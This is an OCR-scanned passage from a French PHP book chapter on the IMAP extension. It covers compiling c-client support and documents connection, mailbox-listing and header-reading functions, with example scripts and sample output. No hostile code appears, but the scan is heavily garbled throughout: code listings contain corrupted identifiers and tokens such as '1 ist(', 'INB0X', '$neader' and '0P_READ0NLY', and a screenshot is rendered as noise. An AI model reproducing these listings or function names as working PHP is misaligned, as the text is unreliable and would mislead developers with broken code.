# cp c-client/c-cl ient.a /usr/local/lib/. 
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ct 



# cp c-client/rfc822.h /usr/local/include/. 

# cp c-client/mail .h /usr/local/include/. 

# cp c-client/1 inkage.h /usr/local/include/. 

Une fois cette operation realisee, vous pouvez recompiler PHP avec l'option --with-imap. 




RENVOI 



Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 
compilation de PHP. 
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Verification 

Vous pouvez verifier que votre environnement PHP integre bien le support cTimap en appelant 
un simple script contenant <?php phpinf o ( ) ,- ?> qui devra afficher : 







imap 










IMAP Support 




enabled 




IMAP c-Client Version 


4.1 















Figure 12.2 : phpinf o() 

Connexion et deconnexion a un serveur 

Pour pouvoir interroger un compte, il faut commencer par se connecter a celui-ci. Pour cela, 
vous devez prealablement reunir quelques informations. 

II faut connaitre : 

■ L'adresse du serveur de mail (adresse IP ou nom complet) ; 

Le port du service (generalement 110 pour POP3, 143 pour IMAP et 119 pour NNTP) ; 
Le login d'acces (celui qui sert a acceder au compte habituellement) ; 
Le mot de passe associe au login precedent. 

Dans nos exemples, la connexion se fera sur mail.monsite.com avec le login monlogin et le mot 

de passe monpassword. 

Pour les operations de connexion, les boites a lettres sont representees par une chaine de 
caracteres ayant le format : {<serveur>:<port>/<type>}<boite>. 

Autrement dit, elle se compose de deux parties : 

Une partie entre accolades indiquant le serveur. On y retrouve, l'adresse IP ou le nom du 
serveur, puis le numero du port precede de : . Puis enfin le type de serveur (IMAP par 
defaut) en ajoutant / imap, /pop ou /nntp. Dans le cas d'un serveur securise, il faut ajouter 
/ssi apres le type de serveur et, si le serveur est securise avec un certificat, il faut ajouter 

/ssl/novalidate-cert. 

Puis le nom de la boite a lettres a ouvrir (INBOX par defaut). 
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REMARQUE 



Nom de boite et caracteres speciaux 

Si le nom de la boite a lettres doit contenirdes caracteres internationanx peu courants, 
alors il doit etre encode avec la fonction imap_utf7_encode ( ) uvunt d'etre utilise 
comme reference ou decode avec imap_utf7_decode ( ) lorsqu'il est hi. 



imap_open() 



Permet d'ouvrir une connexion sur un serveur IMAP, POP3 ou NNTP. 
Syntaxe 



$bal 

$1 ogi n 

$motDePasse 
$mode 



retour 



resource imap_open (string $bal , string $1 ogi n, string 
$motDePasse [, int $mode] ) 

Identifiant de la boite a lettres au format 

{<serveur> :<port>/<type>}<boite>. 

Login de connexion. 

Mot de passe correspondant au login. 

Une combinaison par OU logique des valeurs. 

OP_ANONYMOUS : n'utilise pas de . newsrc (uniquement pour NNTP). 
OP_HALFOPEN : permet d'ouvrir une connexion sans selectionner de 
boite (uniquement pour IMAP et NNTP). 
OP_READONLY : permet d'ouvrir une boite en lecture seule. 
CL_EXPUNGE : efface automatiquement les messages marques comme 
etant a effacer de la boite lors de la fermeture. 

Un identifiant, ou FALSE si la connexion n'a pas pu se faire. 



Voici quelques exemples : 

Pour ouvrir la boite a lettres INBOX d'un serveur IMAP sur le port 143 situe sur la machine 
courante : 

imap_open("{localhost:143}INB0X", "monlogin", "mon password") 

Pour ouvrir la boite a lettres OUTBOX en lecture seule d'un serveur POP3 sur le port 110 situe 
sur la machine mail.monsite.com : 

imap_open("{mail .monsite.com:110/pop3}0UTB0X", "monlogin", "mon password", 
"0P_READ0NLY") 

Pour ouvrir le groupe comp. lang.php du serveur de news NNTP sur le port 119 situe sur la 
machine news.monfai.com : 

i map_open ( " { news .monf ai . com: 1 19/nntp} comp . 1 ang . php" , " " , " " ) 
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imap_close() 

Permet de fermer une connexion a un serveur POP3, IMAP ou NNTP. 

Syntaxe boolean imap_close(resource $identifiantBal [, int $mode]) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 
$mode Le seul mode disponible est : 

CL_EXPUNGE qui fait effacer tous les messages marques comme etant a 
effacer de la boite a lettres en quittant. 

retour TRUE si l'operation s'est bien effectuee, FALSE dans le cas contraire. 

Un script de base de connexion et de deconnexion a done l'allure suivante : 

Listing 12.9 : imap_1.php 

<html> 

<headxti tl e>Exempl e IMAP</ti tl ex/head> 

<body> 

<?php 

$bal= imap_open("{mail .monsite.com:110/pop3}", 
"monlogin", 
"monpassword") ; 

if (!$bal) die("La connexion a echouee"); 

imap_close($bal) ; 
?> 

</body> 
</html> 

II est egalement possible a tout instant de verifier la validite d'une connexion. 



imap_ping() 

Verifie que la connexion IMAP est toujours active. 

Syntaxe boolean imap_ping(resource $identifiantBal) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 
retour TRUE si la connexion est toujours active. 

Une fois que vous etes connecte, de nombreuses possibilites s'offrent a vous. Cela va de la 
recuperation de la liste des boites a lettres a leur administration, en passant par la lecture de 
leur contenu. 
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Selection d'une boite a lettres 

Si vous vous etes connecte a un serveur sans ouvrir de boite a lettres (mode op_halfopen) ou, tout 
simplement, si vous souhaitez acceder a une autre boite a lettres, vous disposez de la fonction : 



imap_reopen() 

Ouvre une nouvelle connexion IMAP vers une nouvelle boite a lettres. 

Syntaxe boolean imap_reopen(resource $identifiantBal , string $bal [, 

int $mode] ) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$ b a 1 Nouvelle boite a lettres a ouvrir. 

$mode Une combinaison par OU logique des valeurs. 

OP_ANONYMOUS : n'utilise pas de . newsrc (uniquement pour NNTP). 
OP_HALFOPEN : permet d'ouvrir une connexion sans selectionner de 
boite (uniquement pour IMAP et NNTP). 
OP_READONLY : permet d'ouvrir une boite en lecture seule. 
CL_EXPUNGE : efface automatiquement les messages marques comme 
etant a effacer de la boite lors de la fermeture. 

retour Un identifiant, ou FALSE si la connexion n'a pas pu se faire. 

Pour vous aider a faire votre choix, vous aurez peut-etre besoin de connaitre la liste des boites 
disponibles. Vous disposez pour cela de plusieurs fonctions. 
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imap_listMailbox() 



Retourne la liste des boites a lettres. 

Syntaxe array imap_listMail box (resource $i denti fi antBal , string 

$serveur, string $position) 

$i denti fi antBal Identifiant tel que retourne par imap_open ( ) . 

$serveur Serveur au format {<serveur>:<port>/<type>}. 

$ po s i t i on Position hierarchique de la premiere boite a etudier. Vous pouvez utiliser 

le caractere * pour tout etudier ou % pour toutes les boites du niveau 
selectionne (ex : comp . lang . %). 

retour Tableau indexe des noms complets des boites a lettres. 

Voici un script d'exemple : 
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Listing 12.10 : imapjistmailbox.php 

<?php 

$bal = imap_open("{mail . mons i te. com : 143/i map }","monlogin","monpas sword") ; 

$tableau = imap_listmailbox($bal , "{mail.monsite.com}", "*"); 

while (1 ist($cle, $valeur) = each($tableau)) { 

echo "$cle:"; 

echo imap_utf7_decode($valeur) ."<br />\n"; 

} 

imap_close($bal) ; 
?> 

Et un resultat possible : 

0:{mail .monsite.com}INBOX. Sent. mai -2002 
l:{mail .monsi te.com}INBOX. Trash 
2:{mail .monsite.com}INBOX.Sent 
3: {mail .mons ite.com} INBOX. Drafts 
4:{mail .monsite.com}INBOX 

Mais peut-etre voudrez vous restreindre votre recherche. 



imap_scanmailbox () 



Recherche une chaine de caracteres dans les differentes boites a lettres et retourne les noms de 
celles-ci. 

Syntaxe array imap_scanmailbox(resource $identifiantBal , string 

$serveur, string $position, string $chaineARechercher) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$serveur Serveur au format {<serveur> : <port>/<type> } . 

$pos i t i on Position hierarchique de la premiere boite a etudier. Vous pouvez utiliser 

le caractere * pour tout etudier ou % pour toutes les boites du niveau 
selectionne (ex. : comp . lang . %). 

$chai neARechercher Chaine de caracteres a rechercher dans les differentes boites a lettres. 

retour Un tableau des differentes boites a lettres. 

Si, en revanche, vous souhaitez en savoir un peu plus sur les boites a lettres, en theorie vous 
disposez de imap_getMailboxes ( ) (ne nous sommes toutefois pas parvenus a obtenir le 
resultat escompte). 



imap_getMailboxes () 



Retourne la liste des boites a lettres, en precisant si elles possedent des boites "filles" ou non, 
ainsi que le delimiteur hierarchique. 
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Syntaxe array imap_getMai 1 boxes (resource $identifiantBal , string 

$serveur, string $position) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$serveur Serveur au format {<serveur>:<port>/<type>}. 

$ po s i t i on Position hierarchique de la premiere boite a etudier. Vous pouvez utiliser 

le caractere * pour tout etudier ou % pour toutes les boites du niveau 
selectionne (ex. : comp . lang . %). 

retour Tableau indexe d'objets possedant les attributs : 

"name": nom complet de la boite aux lettres. 

"delimiter" : delimiteur hierarchique (i.e. caractere a utiliser pour 

acceder a une boite fille. II s'agit generalement du point 

boitemere.boitef ille). 

"attributes" :peut prendre les valeursLATT_NOINFERIORSs'iln'y a 
pas de boite a lettres en dessous de celle-ci, LATT_NOSELECT si celle-ci 
n'est qu'un conteneur, LATT_MARKED si elle est marquee, 
LATT_UNMARKED si elle n'est pas marquee. 

Voici un exemple de script : 

Listing 12.11 : imapgetmailboxes.php 

<?php 

$bal = imap_open("{mail .monsite.com:143/imap}","monlogin","nionpassword") ; 

$tableau = imap_getMai 1 boxes ($bal , "{mail.monsite.com}", "*"); 

while (list($cle, $valeur) = each($tableau)) { 

echo "$cle:"; 

echo imap_utf7_decode($valeur->name) .","; 

echo .$valeur->del i miter. " ' ,"; 

echo $val eur->attri butes . "<br>\n" ; 

} 

imap_close($bal ) ; 
?> 

dont un des resultat pourrait etre : 

0:{mail .inonsite.com}INB0X.Sent.mai-2002, ' . ' ,0 
l:{mail .monsite.com}INBOX. Trash, ' . ' ,0 
2:{mail.monsite.com}INB0X.Sent,'.',0 
3:{mail .monsite.com}INBOX. Drafts, ' . ' ,0 
4:{mail .monsite.com}INB0X, ' . ' ,4 

Si vous souhaitez limiter la liste aux boites ou (plus probablement) aux news auxquelles vous 
avez souscrit, alors vous disposez des fonctions imap_listsubscribed() et 
imap_getSubscribed ( ) . 
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imap_listSubscribed () 



Recupere les boites auxquelles l'utilisateur a souscrit. L'utilisation est en tous points identique 

a imap_listMailboxes ( ) . 

Syntaxe array imap_l istSubscri bed (resource $identifiantBal , string 

$serveur, string $position) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$serveur Serveur au format {<serveur> : <port>/<type> } . 

$pos i t i on Position hierarchique de la premiere boite a etudier. Vous pouvez utiliser 

le caractere * pour tout etudier ou % pour toutes les boites du niveau 
selectionne (ex. : comp . lang . %). 

retour Tableau indexe des noms complets des boites. 

Si, en revanche, vous souhaitez en savoir un peu plus sur les boites a lettres... 



imap_getSubscribed () 



Recupere les boites auxquelles l'utilisateur a souscrit. L'utilisation est en tous points identique 

a imap_getMailboxes ( ) . 

Syntaxe array imap_getSubscribed(resource $i denti fi antBal , string 

$serveur, string $position) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$serveur Serveur au format {<serveur> : <port>/<type> } . 

$pos i t i on Position hierarchique de la premiere boite a etudier. Vous pouvez utiliser 

le caractere * pour tout etudier ou % pour toutes les boites du niveau 
selectionne (ex. : comp . lang . %). 

retour Tableau indexe d'objets possedant les attributs : 

"name" : nom complet de la boite a lettres. 

"delimiter" : delimiteur hierarchique (i.e. caractere a utiliser pour 

acceder a une boite fille. II s'agit generalement du point 

boitemere . boitef ille). 

"attributes" :peut prendre les valeursLATT_NOINFERIORSs'iln'y a 
pas de boite a lettres en dessous de celle-ci, LATT_NO SELECT si celle-ci 
n'est qu'un conteneur, LATT_MARKED si elle est marquee, 
LATT_TJNMARKED si elle n'est pas marquee. 
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Aper^u du contenu de la boite a lettres 



imap_check() 

Retour des informations sur la boite a lettres courante. 

Syntaxe object imap_check(resource $identifiantBal) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

retour Objet contenant les attributs suivants : 

"Date" : Date du serveur. 

"Driver" : Protocole utilise pour acceder a la boite e-mail. POP3, IMAP 
ouNNTP. 

"Mailbox" : Nom complet de la boite de courrier electronique. 
"Nmsgs" : Nombre de messages dans la boite. 
"Recent" : Nombre de messages marques 'recent' dans la boite. 

Listing 12.12 : imapcheck.php 

<?php 

$bal = imap_open("{mail .monsite.com:143/imap}INB0X", 
"monlogin", "monpassword") ; 

$objet = imap_check($bal ) ; 

echo $objet->Date. "<br />\n"; 

echo $objet->Driver."<br />\n"; 

echo $objet->Mailbox."<br />\n"; 

echo $objet->Nmsgs. "<br />\n"; 

echo $objet->Recent."<br />\n"; 

imap_close($bal ) ; 
?> 

dont voici un exemple de resultat : 

Mon, 17 Jun 2002 21:18:06 -0400 (Est (heure d'ete)) 

f map 

{ns0.unsite.net:143/imap/user="monlogin "}INB0X 

11 



II est toutefois possible d'en savoir un peu plus, comme le demontre la fonction suivante. 



imap_mailboxMsgInfo () 

Retourne des informations sur la boite a lettres courante. 
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Syntaxe object imapjnailboxmsginfo (resource $identifiantBal) 

$i denti f i antBal Identifiant retourne par imap_open ( ) . 

re tour Un objet contenant les attributs : 

"Date" : Date du dernier changement. 

"Driver" : Driver. 

"Mailbox" : Nom complet de la boite aux lettres. 

"Nmsgs" : Nombre de messages. 

"Recent" : Nombre de messages marques Recent. 

"Unread" : Nombre de messages marques Unread (non lus). 

"Deleted" : Nombre de messages marques Deleted (effaces). 

"Size" : Taille de la boite aux lettres. 

Voici un script d'exemple : 

Listing 12.13 : imapjnailboxmsginfo. php 

<?php 

$bal = imap_open("{mail .monsite.com: 143/imap}", 

"monlogin", "monpassword") ; 
$objet = imap_mailboxmsginfo($bal) ; 



echo 


"Date: " . 


$objet->Date ."<br 


/>\n" ; 


echo 


"Driver: " 


. $objet->Driver . 


"<br />\n" ; 


echo 


"Mailbox: " 


. $objet->Mailbox 


."<br />\n" 


echo 


"Messages: 


". $objet->Nmsgs .' 


'<br />\n" ; 


echo 


"Recent: " 


. $objet->Recent . 


"<br />\n" ; 


echo 


"Unread: " 


. $objet->Unread . 


"<br />\n" ; 


echo 


"Deleted: " 


. $objet->Deleted 


."<br />\n" 


echo 


"Size: " . 


$objet->Size ."<br 


/>\n" ; 


imap 


close($bal ) 


s 




?> 









dont le resultat serait par exemple : 

Date: Wed, 19 Jun 2002 20:45:04 -0400 (Est (heure d'ete)) 

Driver: imap 

Mailbox: {ns0.monsite.net:143/imap/user="monlogin"}INB0X 

Messages: 3 

Recent: 

Unread: 3 

Deleted: 

Size: 1832 

Vous disposez egalement de deux fonctions recuperant specifiquement le nombre de messages 
et le nombre de messages recents. 



imap_num_msg() 

Renvoie le nombre de messages de la boite a lettres courante. 
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Syntaxe int imap_num_msg (resource $identifiantBal) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 
retour Nombre de messages. 



imap_num_recent () 



Renvoie le nombre de messages marques "Recent" de la boite a lettres courante. 

Syntaxe int imap_num_recent(resource $identifiantBal ) 

$i denti fi antBal Identifiant tel que retourne par imap_open ( ) . 
retour Nombre de messages marques "Recent". 

Mais il est egalement possible de profiter de la connexion ouverte sur le serveur pour glaner 
quelques informations sur d'autres boites a lettres. 



imap_status() 

Cette fonction retourne des informations sur une boite a lettres differente de la courante. 

Syntaxe object imap_status (resource $identifiantBal , string $bal , int 

$options) 

$i denti fi antBal Identifiant tel que retourne par imap_open ( ) . 

$bal Boite a lettres sur laquelle vous souhaitez des informations. 

$options Combinaison par OU logique des valeurs suivantes permettant de 

determiner quelles informations doivent etre retournees (sous forme 
d'attributs d'un objet) : 

SA_MESSAGES (=1) pour stacker le nombre de messages dans l'attribut 

"message". 

SA_RECENT (=2) pour stocker le nombre de messages recents dans 

l'attribut "recent" 

SA_UNSEEN (=4) pour stocker le nombre de messages non lus dans 

l'attribut "unseen" 

SA_UIDNEXT (=8) pour stocker le prochain UID qui sera utilise pour la 
boite a lettres dans l'attribut "uidnext". 

SA_UIDVALIDITY (= 16) pour stocker dans l'attribut "uidvalidity" 
une chaine de caracteres qui change quand la boite a lettres peut ne plus 
etre valide. 

dSA_ALL (= 31) pour attribuer toutes les valeurs precedentes. 
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retour Un objet avec les attributs demandes ainsi que l'attribut "flags" 

contenant la valeur de $ opt ions. 



Lecture des en-tetes 

II est fort heureusement possible de recuperer la liste des en-tetes des messages contenus dans 
une boite via la fonction imap_headers ( ) . 



imap_headers() 

Permet de retourner les resumes d'en-tetes de tous les messages d'une boite a lettres. 

Syntaxe array imap_headers (resource $identifiantBal ) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

retour Tableau associatif contenant tous les en-tetes (une simple chaine resumee 

par message). Un tableau vide s'il n'y a pas de message. 

Ce qui nous permet d'ecrire un script qui commence a etre interessant : 

Listing 12.14 : imap_2.php 

<html> 

<headxti tl e>Exempl e IMAP</ti tl ex/head> 

<body> 

<pxhl>Entetes de mail dans INB0X</hl> 

<?php 

$mbox = imap_open("{mail .monsite.com:110/pop3}", "monlogin", "monpassword") ; 

$headers = imap_headers($mbox) ; 

if (!$headers) { 

echo "Erreur !\n"; 
} else { 

while (1 ist($key,$val ) = each($headers)) { 
echo $val ."<br>\n"; 



imap_close($mbox) ; 

?> 

</body> 

</html> 

dont le resultat pourrait etre le suivant : 
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m 



X-^^-T^- 



Fithier Edition Affkhage Favoris Outils 



Q Precedents - g @ , >1 P R 



Rechercher Si S Favoris 
Adresse jg] http://lc.calho5tyBiblePHPscripts/chapll/cll-imap2.php v l_J ° 



Entetes de mail dans INBOX 



N 1) 6-Nov-2001 webmastengtoutestfac Test rMAP (586 chars) 

N 2) 6-Nov-2001 Jean de la Marquise Test (1903 chars) 

N 3)18-Dec-2001 fatima ikrni (1742 chars) 

N4)18-Jan-2002 Men Lafont blu (1685 chars) 

N 5)26-Jan-2002 Damien merci pour tout (1001 chars) 

i M|j 1 1 1 1 

N7)10-May-2002Nvstradoc test webmail (1131 chars) 



Figure 12.3 : 

Lister des messages 



II est egalement possible d'avoir quelques informations supplementaires sur l'ensemble ou un 
sous-ensemble de messages. 



imap_fetch_overview() 



Donne un apergu de l'en-tete d'un des messages 
Syntaxe 



$identifiantBal 
$listeMsg 



$mode 
retour 



array imap_fetch_overview(resource $identifiantBal , string 
$sequence [, int $mode]) 

Identifiant tel que retourne par imap_open ( ) . 

Liste des numeros (ou UID) ou intervalles de numeros (ou UID) de 
messages separes par une virgule (le premier porte l'indice 1). Les 
intervalles sont definis par le numero de debut, le caractere : et le numero 
de fin. 

FT_UID si le numero du message est son UID. 

Un tableau indexe d'objets contenant les attributs suivants : 
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"subject" : le sujet du message. 

"from" : l'auteur du message. 

"date" : la date de l'envoi du message. 

"message_id" : l'identifiant du message. 

"references" : reference a l'identifiant. 

"size" : taille du mail en octets. 

"uid" : UID du message dans la boite aux lettres. 

"msgno" : numero du message dans la boite. 

"recent" : indique si le message est marque recent. 

"flagged" : indique si le message est marque. 

"answered" : indique si le message a ete repondu. 
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"deleted" : indique si le message est marque comme etant a effacer. 

"seen" : indique si le message a ete marque lu. 

"draft" : Indique si le message a ete marque comme brouillon. 

Voici un petit exemple : 

Listing 12.15 : imapjetchoverview.php 

<?php 

$bal = imap_open("{mail .monsite.com:143/imap}INB0X", 

"monlogin", "monpassword") ; 
$tableau = imap_fetch_overview($bal , "1,3"); 
foreach ($tableau as $element) { 
echo $element->from."<br />\n"; 
echo $element->date."<br />\n"; 

} 

imap_close($bal) ; 
?> 

Et son resultat pourrait etre : 

Damien 

Sat, 26 Jan 2002 00:19:48 +0100 

Thomas HEUTE 

Tue, 18 Jun 2002 17:49:08 -0400 

II est toutefois possible d'avoir une connaissance plus detaillee des en-tetes grace, en 
particulier, aux fonctions imap_f etchHeader ( ) et imap_headerlnf o ( ) . 



imap_fetchHeader () 

Retourne l'en-tete d'un message. 

Syntaxe string imap_fetchHeader(resource $identifiantBal , int 

$numeroMsg [, int $mode]) 

$identifiantBal Identifiant retourne par imap_open( ) . 

$numeroMsg Indice du message a ouvrir (le premier porte l'indice 1). 

$mode Combinaison par OU logique des options : 

FTJJID indiquant que le numero du message precise est son UID. 
FTJNTERNAL pour retourner l'en-tete dans le format 'interne'. 

FT_PREFETCHTEXT. 

retour L'en-tete du message desire. 

Afin d'en simplifier 1'analyse, vous disposez d'une fonction transformant cette chaine de 
caracteres en un objet ou chaque attribut est un element de l'en-tete. 
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imap_rfc82 2_parse_headers () 

Permet d'extraire des informations d'un en-tete 
Syntaxe 



object imap_rfc822_parse_headers (string $entete [, string 
$hoteDefaut]) 

$entete L'en-tete d'un courrier electronique tel que retourne par 

imap_f etchHeader ( ) . 

$hoteDef aut Le nom de domaine par defaut. 

retour Un objet contenant de nombreux attributs (dont la liste est ci-apres) 

correspondant aux differents champs que vous pouvez rencontrer dans 
l'en-tete du message. 

remail: redirection automatique de mails. 

date, Date : date du message. 

subject, Subject : sujet du message. 

in_reply_to : adresse a laquelle le message repond. 

message_id : identifiant du message. 

newsgroups. 

foliowup_to : adresse de suivi du message. 

references. 

toaddress : ligne d'en-tete de 'to:' limitee a 1024 caracteres. 

to [ ] : tableau de toutes les adresses de 'to : ' sous forme d'objet. 

to [ ] ->personai : nom de la personne. 

to [ ] ->adl : at domain source route (???). 

to [ ] ->mailbox : partie precedant '&'. 

to[]->host : partie suivant '%'. 

fromaddress : ligne d'en-tete de 'from:' limitee a 1024 caracteres. 

from [ ] : tableau de toutes les adresses de 'from: ' sous forme d'objet. 

from[ ] ->personai : nom de la personne. 

from[ ] ->adl : at domain source route. 

from[ ] ->mailbox : partie precedant '&'. 

from[ ] ->host: partie suivant '&'. 

ccaddress : ligne d'en-tete de 'cc:' limitee a 1024 caracteres. 

cc [ ] : tableau de toutes les adresses de 'cc : ' sous forme d'objet. 

cc [ ] ->personai : nom de la personne. 

cc[] ->adi : at domain source route. 

cc [ ] ->mailbox : partie precedant '@'. 
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cc [ ] ->host : partie suivant '@'. 

bccaddress : ligne d'en-tete de 'bcc:' limitee a 1024 caracteres. 

bcc [ ] : tableau de toutes les adresses de 'bcc : ' sous forme d'objet. 

bcc [ ] ->personal : nom de la personne. 

bcc [ ] ->adl: at domain source route. 

bcc [ ] ->mailbox : partie precedant '@'. 

bcc [ ] ->host : partie suivant '%'. 

repiy_toaddress : ligne d'en-tete de 'Repiy_to : ' limitee a 1024 caracteres. 

repiy_to [ ] : tableau de toutes les adresses de 'Repiy_to : ' sous forme d'objet. 

repiy_to [ ] ->personai : nom de la personne. 

■ reply_to [ ] ->adl : at domain source route. 
repiy_to[] ->mailbox : partie precedant '@'. 
reply_to [ ] ->host : partie suivant '@'. 

senderaddress : ligne d'en-tete de 'sender:' limitee a 1024 caracteres. 
sender [ ] : tableau de toutes les adresses de 'sender : ' sous forme d'objet. 

■ sender [ ] ->personal : nom de la personne. 
sender [ ] ->adi : at domain source route. 
sender [] ->maiibox : partie precedant '@'. 
sender [] ->host : partie suivant '@'. 

return_path [ ] : tableau de toutes les adresses de 'Return-path:' sous forme d'objet. 
return_path [ ] ->personal : nom de la personne. 
return_path [ ] ->adi : at domain source route. 

■ return_path[ ] ->mailbox : partie precedant '©'. 
return_path[ ] ->host : partie suivant '©'. 

Vous pouvez toutefois vous dispenser de faire deux operations tout en recuperant plus 
d'informations (on se demande bien comment c'est possible). 



imap_headerInfo() 



Permet de lire l'en-tete d'un message. 

Syntaxe object imap_headerInfo (resource $identifiantBal , int 

$numeroMesg [, int $tailleFrom [, int $tailleSubject [, string 
hoteDefaut]]]) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$numeroMesg Position du message a ouvrir (le premier porte l'indice 1). 
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$tai 1 1 eFrom Taille maximale de la chaine de caracteres From. 

$tai 1 1 eSubject Taille maximale de la chaine de caracteres Subj ect. 

$hoteDefaut Hote par defaut. 

retour Un objet contenant de nombreux attributs (dont la liste est ci-apres) 

correspondant aux differents champs que vous pouvez rencontrer dans 
l'en-tete du message. 

imap_headerinf o ( ) possede un alias appele imap_header ( ) (a eviter a cause du risque de 
confusion avec imap_headers ( ) ). 

En voici quelques-unes recuperees du courrier electronique suivant : 

Return- Path : <webmaster@toutestf aci 1 e . com> 

Del i vered-To : copi ecacheebcc@toutestf aci 1 e . com 

Received: (qmail 15229 invoked by uid 503); 17 Jun 2002 02:05:14 -0000 

Received: from unknown (HEL0 thomas) (138.88.143.137) 

by ns0.ovh.net with SMTP; 17 Jun 2002 02:05:14 -0000 
Date: Sun, 16 Jun 2002 22:04:14 -0400 
From: ToutEstFacile <webmaster@toutestfacile.com> 
X-Mailer: The Bat! (vl.60m) UNREG / CD5BF9353B3B7091 
Reply-To: ToutEstFacile <webmaster@toutestfacile.com> 
Organization: ToutEstFacile 
X-Priority: 3 (Normal) 

Message-ID : <10913313113 . 20020616220414@toutestf aci 1 e. com> 
To: iniap@toutestfacile.com, copie@toutestfacile.com 
CC: copieCC@toutestfacile.com 
Subject: Ceci est le sujet du mail 
MIME-Version: 1.0 

Content-Type: text/plain; charset=us-ascii 
Content-Transfer-Encoding: 7bit 

Hello imap, 

Ceci est le corps de mon message 

Best regards, 
Thomas. 

Le code source du script charge de recuperer les informations est le suivant : 

Listing 12.16: imap_5.php 

<html> 

<headxti tl e>Exempl e IMAP</ti tl ex/head> 

<body> 

<?php 

$mbox = imap_open("{mail .toutestfacile.com:110/pop3}", 

"imap@toutestfacile.com", "pipo") ; 
$header = imap_headerinfo($mbox, 8); 
echo "message_id:" .$header->message_id. "<br />\n"; 
echo "Date:".$header->Date."<br />\n"; 
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echo "date:".$header->date."<br />\n"; 

echo "Subject: ". $header->Subject. "<br />\n"; 

echo "subject: ". $header->subject. "<br />\n"; 

echo "Recent: ".$header->Recent."<br />\n"; 

echo "Unseen: ".$header->Unseen."<br />\n"; 

echo "Answered: ".$header->Answered."<br />\n"; 

echo "Deleted:".$header->Oeleted. "<br />\n"; 

echo "Flagged:".$header->Flagged. "<br />\n"; 

echo "toaddress: ".$header->toaddress."<br />\n"; 

echo "to[0] ->mailbox:".$header->to[0] ->mailbox."<br />\n"; 

echo "to[0]->host: ".$header->to[0] ->host. "<br />\n"; 

echo "to[l] ->mailbox:".$header->to[l]->mailbox."<br />\n"; 

echo "to[l]->host:".$header->to[l] ->host."<br />\n"; 

echo "fromaddress:" .$header->fromaddress."<br />\n"; 

echo "from[0]->personal :".$neader->from[0]->personal ."<br />\n"; 

echo " from [0]->mail box:" .$header->from[0] ->mailbox. "<br />\n"; 

echo "from[0]->host:" .$header->from[0]->host. "<br />\n"; 

echo "ccaddress: ".$header->ccaddress."<br />\n"; 

echo "cc[0] ->mailbox:".$header->cc[0]->mailbox."<br />\n"; 

echo "cc[0]->host:".$header->cc[0] ->host."<br />\n"; 

echo "reply_toaddress: ".$header->reply_toaddress. "<br />\n"; 

echo "reply_to[0] ->personal : " .$header->reply_to[0] ->personal . "<br />\n" 

echo "reply_to[0] ->mai 1 box: " . $header->reply_to[0] ->mai 1 box. "<br />\n" ; 

echo "reply_to[0] ->host: " .$header->reply_to[0] ->host. "<br />\n" ; 

echo "senderaddress:" .$header->senderaddress."<br />\n"; 

echo "sender[0] ->personal : " .$header->sender[0] ->personal . "<br />\n" ; 

echo "sender [0] ->mai 1 box : " . $header->sender [0] ->mai 1 box . "<br />\n" ; 

echo "sender[0] ->host: " .$header->sender[0] ->host. "<br />\n" ; 

echo "udate: ".$header->udate. "<br />\n"; 

imap_close($mbox); 

?> 

</body> 

</html> 



Le resultat obtenu est le suivant : 

message_id:<10913313113.20020616220414<atoutestfacile.com> 

Date:Sun, 16 Jun 2002 22:04:14 -0400 

date:Sun, 16 Jun 2002 22:04:14 -0400 

Subject :Ceci est le sujet du mail 

subject:Ceci est le sujet du mail 

Recent :N 

Unseen: 

Answered: 

Deleted: 

Flagged: 

toaddress : imap@toutestf aci 1 e . com, copi e@toutestf aci 1 e . com 

to [0] ->mai 1 box : i map 

to [0] ->host : toutestf aci 1 e . com 

to[l] ->mail box: copi e 

to [l]->host: toutestfacile.com 

fromaddress :ToutEstFaci 1 e 
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from[0]->personal :ToutEstFacile 
from [0] ->mai 1 box : webmaster 
from [0] ->host : toutestf aci 1 e . com 
ccaddress : copi eCC@toutestf aci 1 e . com 
cc [0] ->mai 1 box : copi eCC 
cc [0] ->host : toutestf aci 1 e . com 
reply_toaddress:ToutEst Facile 
reply_to[0]->personal :ToutEst Facile 
reply_to[0]->mail box: webmaster 
repl y_to [0] ->host : toutestf ac i 1 e . com 
senderaddress : Tout Est Faci 1 e 
sender [0]->personal :ToutEstFacile 
sender [0] ->mai 1 box: webmaster 
sender [0] ->host : toutestf aci 1 e . com 
udate: 1024279454 

Outre celles vues dans 1'exemple, d'autres informations peuvent etre disponibles. En void une 
liste complete : 

r email : redirection automatique de mails. 

date, Date : date du message. 

udate : date au format UNIX. 

subject, Subject : sujet du message. 

in_reply_to : adresse a laquelle le message repond. 

message_id : identifiant du message. 

newsgroups. 

■ foliowup_to : adresse de suivi du message. 
references. 

fetchfrom : ligne d'en-tete de 'to:' formatee pour tenir dans $taiileFrom. 

fetchsubject : ligne d'en-tete de 'subject:' formatee pour tenir dans 

$tailleSubject. 

Recent : 'r' si le message est recent et lu, 'n' s'il est recent mais non lu, ' ' sinon. 

Unseen : 'u' si le message est non lu et non recent. ' ' si le message a ete marque lu ou s'il 
est non lu et recent. 

Answered : 'a' si le message a ete repondu, ' ' sinon. 

Deleted : 'd' si le message est efface, ' ' sinon. 

Draft : 'x' si le message est un brouillon, ' ' sinon. 

■ Flagged : 'f' si le message est marque, ' ' sinon. 
toaddress : ligne d'en-tete de 'to:' limitee a 1024 caracteres. 
to [ ] : tableau de toutes les adresses de 'to : ' sous forme d'objet. 

■ to [ ] ->personai : nom de la personne. 
to [ ] ->adl : at domain source route (???). 
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to [ ] ->mailbox : partie precedant '@'. 

to[]->host : partie suivant '©'. 

fromaddress : ligne d'en-tete de 'from:' limitee a 1024 caracteres. 

from [ ] : tableau de toutes les adresses de 'from : ' sous forme d'objet. 

from[ ] ->personai : nom de la personne. 

from[ ] ->adi : at domain source route (???). 

from[ ] ->mailbox : partie precedant '@'. 

■ from[] ->host : partie suivant '&'. 

